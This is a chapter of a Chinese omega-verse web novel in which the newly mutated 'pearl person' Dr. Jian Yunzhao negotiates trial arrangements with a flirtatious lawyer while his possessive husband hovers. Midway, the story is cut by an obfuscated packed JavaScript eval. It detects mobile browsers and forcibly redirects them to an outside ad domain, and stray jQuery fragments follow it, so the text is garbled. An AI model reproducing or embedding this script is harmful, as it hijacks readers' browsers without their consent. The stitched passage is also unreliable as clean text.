“简博士，珍珠人保护协会对您的遭遇深表同情，愿意为您提供任何帮助。”


    张牧尘语气诚恳，眼神在简云昭脸上流连，注意到鸭舌帽帽檐的阴影覆盖下，有个东西特别晃眼，搔得人心痒痒。


    是一粒痣，红褐色的，很小，但在白皙匀净的面颊上十分凸显。


    帽子遮住了被狗啃过的头发，露出巴掌小脸，稍窄的下颌与宽大的工作制服领口形成鲜明对比，清瘦得惹人怜爱。


    从穿着搭配来分析，张牧尘觉得眼前这个人平常一定很随性，还有点酷。


    这样的人变异为珍珠人，性征从beta二次发育为近似omega，性格与生理变化上的冲突杂糅出一种柔美却不柔弱的气质，似还未发芽的种子，以为自己会长成强硬的荆棘，却没想到开出了娇艳的花。


    从启京沦陷到现在八年多时间，雾海战区如今别说omega了，好看的beta都看不到几个，张牧尘忍不住又瞄了简云昭几眼，眼神化作刮刀在他身上肆虐，随即感受到肩头落下沉重的威压。


    普通alpha面对超S堪比瘦狼对上雄狮，磅礴杀意轰向面门，一双桃花眼虽含情带笑，但张牧尘在靳天眼底窥见了寒潭冰霜。


    “我老婆好看吗张律师？”靳天语气很骄傲，隐含的警告意味在场是个人都能读懂。


    张牧尘哪敢接这话，全雾海的人都知道，惹谁也别惹靳大少爷——


    不要质疑靳拥川元帅对这个逆子的溺爱。


    他赶紧收敛视线说正题：“简博士，刚才我已经跟上校聊过了，他说家里大小事都由您做主，那为保护您的人身安全，我想问问您是否需要壶光会长出面与一号局交涉，委派零号局王冠护卫队驻扎白蝶贝基地，在审判议会对余瑞安和林郁做出裁决之前，他们将24小时守在您身边。”


    简云昭听闻“壶光”二字，身体明显僵硬一瞬，他沉吟片刻，正欲发话，江辞抢先道：“张律师，这恐怕不合适吧？”


    张牧尘推了推眼镜，表情有点不屑，说：“江副官这话什么意思？太平洋管理局还没闹到要分家的地步，零号局和元帅一直致力于维护雾海局势稳定，王冠护卫队只是想保护人类族群的第三位珍珠人而已，怎么听江副官的口气，搞得好像护卫队要突袭红砂港似的？”


    “难道不是么？”


    此话一出，气氛骤然紧张，室内一时寂静。


    江辞态度强硬，此刻从他身上流露出来的气质和先前的迟钝木讷截然不同，这令简云昭微微侧目。


    偌大的会议室里布置着八张单人沙发，分为两列相对排布，房间里的人们刚好两两对坐，江辞和张牧尘坐在一侧，靳天和简云昭坐在对面。


    至于简亦寒？


    他空有职位没有军衔，只配站着。


    江辞的位置在简云昭右前方，中间隔着一张矮几......


    和一张逐渐探入视线内的脸。


    靳天托腮望着他，用气声道：“老婆，原来你喜欢嫩的。”


    简云昭挑眉回他：“男人都喜欢嫩的。”


    “好。”


    这是个很轻佻的“好”，一点脾气也没有，但简云昭听得右眼皮直突突，总觉得接下来会发生什么不好的事情，下意识拿起茶杯喝了口水压压惊。


    “江副官，珍协是看在余将军为人正直，一向又对元帅忠诚的面子上才没有直接带护卫队过来，已经很给你们面子。”


    张牧尘将邮件内容投影到会议室大屏上，继续道：“我希望您能意识到一号局的所作所为有多么令人发指，依照现有法律和管理局盟约，不要说王冠队，就是捕珠人联盟开着水晶号过来炸沉白蝶贝基地，元帅眼皮都不会抬一下。”


    他点开资料夹，男人气息奄奄躺在靳天怀里的照片映入众人眼帘。


    简云昭一看那照片眼睛都直了，那是他在瞭望塔枪击太阳穴昏死之后的照片，拍摄角度很刁钻，视角从上到下，靳天双目赤红眼含热泪抱着他，显得这两口子可怜又无助，一号局简直不是人呐！


    且不说这照片谁拍的，怎么拍出来的，他只觉得靳天演技实在太牛了，伉俪情深的味道溢出屏幕，无论谁看了都得掬一捧热泪，要搁和平年代，他绝对实力派大明星。


    简亦寒这时咬着牙道：“我不会放过余瑞安和林郁的。”


    “......”简云昭扭头瞥了眼这二逼弟弟。


    嗯，确认了。


    偶像派。


    连续好几张满含血泪的照片划过去，江辞表情愈发心虚，气势连带着弱了几分，说：“张律师，将军一早就表过态，这件事他绝对不会姑息，会给简博士一个交代，但邮件中所说余瑞安枪击靳上校这件事目前还在调查中，尽管指纹记录显示确实是小安开的枪，但记录可以修改，靳上校作为特别军事行动处处长恰好有权限。再者说，他们都是一号局的军官，这件事可否容我们自行解决？”


    张牧尘冷哼一声：“这恐怕不行。根据《珍珠人暂行婚姻法》第73条规定，珍珠人配偶的人身安全应受到充分保障。若其人身安全受到威胁，各分局不得擅自作出判决，须将案件移交珍珠人协会，由协会组织议会进行公开审理。”


    靳天这时也开口了：“江副官，我跟Ryan是亲表弟，有什么理由陷害他？”


    然后他拿起简云昭空掉的茶杯，朝江辞扬了扬下巴，又道：“根据《珍珠人保护法》第12条之规定，在珍珠人在场之情形下，所有人员应当以维护珍珠人合法权益为首要义务，对珍珠人予以充分尊重与保护，并应当满足其提出的合理诉求。本条规定对alpha群体具有特别约束力......简博士口渴了，小江，你不是很会倒茶么，去帮我老婆倒杯茶。”


    他笑容和善，补了句“多谢”。


    江辞脸色霎时变得很难看，求助的目光投过来，可怜巴巴好像被人无辜踹了一脚的落水狗。


    alpha就是麻烦。


    简云昭适时发话：“都出去，我和张律师单独聊。”


    正常情况下珍珠人说的话对alpha来讲就是圣旨，江辞尽管不愿意，还是十分乖顺地先行离开。


    简亦寒就是个撑场子的，见他哥一人能战，也出去了，现在只剩靳天没有抬屁股的意思。


    他黏黏糊糊地凑近点对他撒娇：“老婆，我想陪你，这些照片对你来说是二次伤害，我不能让你一个人面对它们。”


    简云昭一记眼刀射过去，“是谁说‘家里大小事都由我做主？’‘满足珍珠人提出的合理诉求？’”


    “......”


    靳天悔得想抽自己几个大嘴巴子，气呼呼地站起来，又恶狠狠地瞪了眼张牧尘，得到对方卑微的赔笑后才放心出了门。


    可他刚一转身，张牧尘的眼神就放肆了起来，镜片底下的眼睛闪烁意味不明的精光。


    成为珍珠人以后，这样的眼神只会像赶不尽的苍蝇一样越来越多，有那么一瞬间简云昭想把靳天喊回来。


    乱世之中，有时候身边确实需要一个混蛋。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116259|164178||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    “张律，审判会的地点选好了么？”他问。


    “简博士想选在什么地方？只要您开口，作为下一任会长候选人，任何事我都能帮您办到。”张牧尘说着话，屁股毫不客气地换到靳天坐过的沙发上，语气浪起来。


    不过他的浪和靳天的浪不一样。


    一个是红尘多情佳公子，一个是公狗发骚装矜持。


    如果不是顾及靳天他们还在门外，他猜这位人模狗样的张律师早就腺体发烫，把信息素灌满整个会议室了。


    多夫制嘛，目前还没限制数量。


    谁不想为自己谋个好前程呢？


    尽管张牧尘的语气没有太明显的挑逗，但简云昭还是听出来藏在示好下的炫耀。


    炫耀他那不值一提的资本。


    选个议会地点而已就狂成这样，张牧尘恐怕不了解他从前的事迹。


    简云昭不喜欢任何人在他面前狂，除非这个人强过他，于是说：“既然张律这么有自信，那选在碎云港如何？”


    张牧尘嘴角的笑容消失，“碎、碎云港？”


    “就选在碎云港。张律能办到吧？”


    “......”


    简云昭挑眼瞅着他，将男人的窘迫尽收眼底，说：“那是距离雾海封锁线最近的地方，巨翅镰虫每日巡逻数十次，有几率被捉走当虫子的晚餐而已，协会既然请得动王冠护卫队，想必这点小事难不倒你们。”


    张牧尘略略思忖，认为这话是递向他的橄榄枝、试金石，顶着对虫子的恐惧应承了下来。


    “碎云港废弃已久，打理出来恐怕还需要点时间，不过简博士可以放心，这件事协会一定能够办妥。”


    alpha。


    每一条染色体都写满“打肿脸充胖子”几个字的生物。


    不过简云昭并不是故意为难张牧尘——碎云港确实是最适合展开这场审判的地方。


    如今雾海战区表面秩序井然，实则暗潮涌动，内斗目前还没有以战火的形式广泛展开，但那是迟早的事情。


    只要有一座分局淡水资源告急，人类就会走上自相残杀的不归路。


    这种年代的法律程序当然也很混乱，“审判”、“法庭”、“律师”之类的说起来挺正规，实际上就是谁强谁有理。


    当涉及到与珍珠人有关的案件时，基本上就是找个小岛开集体大会，想从这件事里分一杯羹的人都来，谁吵得过谁骂得过谁谁得好处，那场面之混乱，简云昭有幸见识过一次，口水与爹娘齐飞，机甲与舰船对轰。


    不过，他要的就是混乱。


    他满意地点点头，两人接下来敲定了一些细节，半小时后该聊的聊完了，他多问了句：


    “张律师，50%的死亡率，你说为什么那么多alpha不怕死？”


    张牧尘害怕他的回答不能让未来的妻子满意，谨慎思考后说：


    “在末世，风险随处可见，机会却很难得。当收益远超风险需要付出的成本，人人都会退化为野兽。”


    “可成本是生命。”


    “收益也是生命。”


    不得不说，张牧尘这份坦荡简云昭很欣赏。


    他若有所思地点点头，“张律师说的很有道理，那选址的事情就劳烦你多费心了。”


    笑容回到张牧尘的嘴角，他站起来伸出手，“能为您效劳是在下的荣幸。”


    话还没落到地上，大门被已经被靳天推开，然而还是晚了半秒，简云昭的手已经和张牧尘的握在了一起。